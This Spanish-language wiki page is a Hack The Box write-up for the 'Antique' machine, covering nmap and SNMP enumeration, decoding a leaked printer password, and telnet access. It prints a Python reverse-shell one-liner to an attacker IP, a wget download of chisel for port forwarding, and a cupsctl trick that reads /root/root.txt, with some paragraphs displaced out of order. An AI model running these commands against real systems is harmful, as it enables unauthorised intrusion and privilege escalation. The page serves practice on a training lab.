📚
Securiters Wiki
  • 👋Índice
  • 🐣Conceptos Básicos
  • 🔍OSINT
    • Empresas
    • Personas
    • SOCMINT
    • URLs / IPs
  • 🕸️Web
    • 1. Recolección de información
    • 2. Enumeración y descubrimiento
    • 3. Configuración del servidor
    • 4. Entrada de datos
    • 5. Fuerza bruta
    • 6. Autenticación y autorización
    • 7. LFI/RFI
    • 🧞‍♂️CMS
  • 🐢APIs
  • ☎️Móviles
    • 👾Android
    • Analisis Estatico Android
    • Analisis Dinamico Android
    • 📱iOS
    • Jailbreak
    • Analisis Estatico iOS
    • Analisis Dinamico iOS
  • 🎯Internas
    • 🐧Linux
    • 🏹AD
      • Enumeracion
      • Mimikatz & PassTheHash
      • Local Privilege Escalation
      • PE - AS-REPRoast
      • PE - DNSAdmin
      • PE - Kerberoast
      • PE - Trusts
      • PE - Delegations
      • Persistencia - ACLs
      • Persistencia - Kerberos & Tickets
  • 📶Wifi
    • WEP
    • WPS
    • Redes PSK
    • Redes MGT
    • Redes ocultas
  • ⚔️Pentesting / Red team
    • Windows
      • Enumeración
      • Elevación de Privilegios
    • Linux
      • Enumeración
      • Elevación de Privilegios
    • Shells
  • 🛡️Blue Team
  • 📡Puertos & Servicios
    • 21 - FTP
    • 22 - SSH
    • 23 - Telnet
    • 25 - SMTP
    • 53 - DNS
    • 79 - Finger
    • 80 - HTTP
    • 88 - Kerberos
    • 110 - POP3
    • 111 - RPC
    • 123 - NTP (UDP)
    • 135 - MSRPC
    • 139 - Netbios-ssn
    • 143 - IMAP
    • 161/162 - SNMP
    • 389 - LDAP
    • 443 - HTTPS
    • 445 - SMB
    • 464 - kpasswd5
    • 500 - IPSec/IKE VPN
    • 587 - SMPT STARTTLS
    • 623 - IPMI
    • 631 - CUPS
    • 636 - LDAP
    • 1433/1434 - MS SQL Server
    • 1521 - OracleDB
    • 1720 - VoIP - SIP
    • 1900 - UPnP
    • 2049 - NFS
    • 3306 - MySQL
    • 3389 - RDP
    • 4500 - IPSec (UDP)
    • 5357 - WSDAPI
    • 6379 - Redis
    • 6697 - IRC
    • 8009 - Apache Jserv
    • 8080 - HTTP Alt
    • 8500 - Adobe Coldfusion
    • 10000 - Webmin
    • 49981 - System Management Hub
    • 50000 - SAP
  • 🎣Phishing
  • 🐛Bug Bounty
  • ☁️Cloud
    • AWS
    • Azure
  • 🪲Malware
  • 👻Forense
  • 🛠️Tools & Scripts
    • BloodHound
    • Burp Suite
    • Enum4linux
    • Frida
    • Apps Móviles
      • ADB
      • Objection
    • Wireshark
    • Transferencia de ficheros
    • Libros de hacking
    • Addons
    • 🐧WSL
  • ⛳Practicar
  • 🧙‍♂️Certificaciones
    • Repaso CRTP
    • Repaso OSCP
      • 1. Enumeración
      • 2. Vector de entrada
      • 3. Obtención de credenciales
      • 4. Spraying
      • 5. Movimiento lateral
      • 6. Siguientes pasos
  • 📜Recursos en Telegram
  • 🔊Congresos de ciberseguridad
  • 🗣️Entrevistas realizadas
  • 🎤Charlas y Eventos
  • 👣WRITE-UPS
    • 📗Hack The Box
      • 🟢Return
      • 🟢Love
      • 🟢GoodGames
      • 🟢ToolBox
      • 🟢Traverxec
      • 🟢Granny
      • 🟢Jerry
      • 🟢Networked
      • 🟢Arctic
      • 🟢Mirai
      • 🟢Bashed
      • 🟢TwoMillion
      • 🟠Chaos
      • 🟢Validation
      • 🟢Antique
      • 🟢Busqueda
    • 📗Proving Grounds
      • 🟢MoneyBox
      • 🟢Gaara
      • 🟢InfoSec Prep
      • 🟢DC-1
      • 🟢SunsetNoontide
      • 🟢Shakabrah
      • 🟢Ha-Natraj
      • 🟢Monitoring
      • 🟢DriftingBlues6
      • 🟢PyExp
      • 🟢OnSystemShellDredd
      • 🟢Blogger
      • 🟢Dawn
      • 🟢DC-2
      • 🟢FunboxEasy
      • 🟢Sumo
      • 🟢Inclusiveness
      • 🟢FunboxEasyEnum
      • 🟢Potato
      • 🟢Solstice
      • 🟢SunsetDecoy
      • 🟢Lampiao
      • 🟢Vegeta1
      • 🟢Katana
      • 🟢BBSCute
      • 🟢Sar
      • 🟢EvilBox-One
      • 🟢Seppuku
      • 🟢Funbox Rookie
      • 🟢Photographer
      • 🟢CyberSploit1
      • 🟢Amaterasu
      • 🟠Pwned1
      • 🟠My-CMSMS
      • 🟠ICMP
      • 🟠DC-9
      • 🟠SunsetMidnight
      • 🟠Election1
      • 🟠DC-4
      • 🟠Stapler
      • 🟠BTRSys2.1
      • 🟠Assertion101
      • 🟠Loly
      • 🟠SoSimple
      • 🟠Tre
      • 🟠Funbox
      • 🟠NoName
      • 🔴GlasgowSmile
      • 🔴InsanityHosting
      • 🔴Djinn3
      • 🟠CTF SunsetMidnight
Powered by GitBook
On this page
  • Enumeración
  • Enumeración de puertos
  • Telnet
  • SNMP
  • Explotación
  • Elevación de privilegios

Was this helpful?

  1. WRITE-UPS
  2. Hack The Box

Antique

Write-up de la máquina Antique de HackTheBox #writeup #walkthrough

PreviousValidationNextBusqueda

Last updated 1 year ago

Was this helpful?

Enumeración

Enumeración de puertos

Comenzamos la resolución de la máquina "Antique", enumerando que puertos tiene abiertos el sistema objetivo.

nmap -p- --open -Pn --min-rate 500 10.10.11.107

Un único puerto abierto, 23 telnet. Vamos a hacer la enumeración detallada de este servicio.

nmap -p23 -sVC -Pn -n 10.10.11.107 

VERSIONES

  • Puerto 23 -> telnet -> ?

La enumeración de puertos no nos aporta información que nos permita orientarnos en la resolución de la máquina. Podemos realizar la enumeración de puertos UDP por si nos aportase información relevante.

sudo nmap -p- --open -sU -Pn --min-rate 500 10.10.11.107

El sistema objetivo tiene el puerto 161 UDP abierto. Esto puede ser muy útil.

Telnet

En la enumeración inicial determinábamos que el puerto 23 TCP estaba abierto en el objetivo. Vamos a comprobar si podemos acceder a información relevante.

telnet 10.10.11.107

Parece la conexión de un equipo HP, posiblemente una impresora. Se nos solicita una contraseña de la que no disponemos.

SNMP

snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 

El artículo que nombrábamos anteriormente hablaba de una filtración de credenciales en formato hexadecimal. Vamos a tratar de descifrar la cadena hexadecimal que hemos encontrado anteriormente.

Utilizando la herramienta CyberChef, desciframos la cadena hexadecimal y encontramos la contraseña "P@ssw0rd@123!!123". Vamos a utilizar está password en la conexión telnet donde se solicitó la contraseña anteriormente.

Explotación

Vamos a comprobar si la contraseña que obtuvimos durante la fase de enumeración es válida para el servicio telnet que se está ejecutando en el sistema.

Como podemos comprobar, la contraseña es válida. Parece que una de las cosas que podemos hacer es ejecutar comandos desde la terminal de telnet. Vamos a tratar de aprovechar esto para ejecutar una reverse shell hacia nuestra máquina de ataque. Ejecutamos el siguiente comando:

exec python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Y por otro lado, configuramos un oyente nc en el puerto 1234.

Obtenemos acceso al sistema como usuario "lp". El siguiente paso será buscar la flag de usuario de bajos privilegios.

Elevación de privilegios

Una vez obtenido el acceso al sistema objetivo, el siguiente paso será encontrar posibles vectores que nos permitan obtener privilegios elevados en el sistema. Comenzamos enumerando que puede ejecutar el usuario lp como root sin necesidad de contraseña.

No disponemos de contraseña para el usuario lp. Otra cosa que podemos enumerar son lo permisos SUID.

find / -perm -u=s -type f 2>/dev/null

Ninguno de los binarios con permisos SUID nos va a permitir elevar privilegios. Continuamos enumerando las capabilities.

Nada interesante. Otra cosa que podemos hacer es enumerar los servicios que se están ejecutando de forma interna en la máquina objetivo.

Vemos un puerto interno 631. Veamos que se está ejecutando en este servicio.

curl 127.0.0.1:631
sudo chisel server -p 8000 --reverse

Y por otro enviamos el agent a la máquina víctima utilizando un servidor HTTP Python.

Máquina de ataque: python3 -m http.server 8080
Máquina objetivo: wget 10.10.16.5:8080/chisel

Damos permisos de ejecución:

chmod +x chisel

Y ejecutamos:

./chisel client 10.10.16.5:8000 R:631:127.0.0.1:631

Ahora recibiremos la conexión en nuestra máquina de ataque:

Y podremos conectarnos al servicio interno desde nuestro equipo de ataque.

Lo siguiente que vamos a hacer es buscar vulnerabilidades para la versión que hemos encontrado. Encontramos la siguiente información relevante:

Aunque es un script de post-explotación de la herramienta Metasploit, nos permite comprender como funciona la vulnerabilidad para esta versión. Este módulo muestra la localización del log de error. Por otro lado, importante también, los usuarios que pertenecen al grupo lpadmin pueden modificar la ubicación con el comando cupsctl. Comenzamos comprobando a que pertenece el usuario lp.

id

Sabiendo esto, vamos a modificar la ruta a la que queremos acceder ejecutando el siguiente comando en la máquina víctima.

cupsctl ErrorLog="/root/root.txt"

En el navegador de nuestra máquina de ataque y accedemos a la siguiente URL.

http://127.0.0.1:631/admin/log/error_log?

Encontramos la flag root.txt y finalizamos la resolución de la máquina Antique.

Tras determinar en la enumeración inicial que existe un puerto 161 UDP (servicio snmp), vamos a tratar de utilizarlo para extraer información relevante del sistema. Buscando información relacionada con la información que tenemos, encontramos el siguiente . Lo hacemos de la siguiente forma.

Encontramos una versión para el servicio que se está ejecutando de forma interna en el objetivo. Este servicio no es accesible desde nuestra máquina de ataque, así que vamos a reenviar este puerto a nuestra máquina utilizando la herramienta Chisel. Instalamos Chisel en nuestra máquina de ataque desde los repositorios y descargamos el agent desde. Por un lado, ejecutamos Chisel en nuestra máquina de ataque:

👣
📗
🟢
artículo
Github
https://www.rapid7.com/db/modules/post/multi/escalate/cups_root_file_read/
https://www.infosecmatter.com/metasploit-module-library/?mm=post/multi/escalate/cups_root_file_read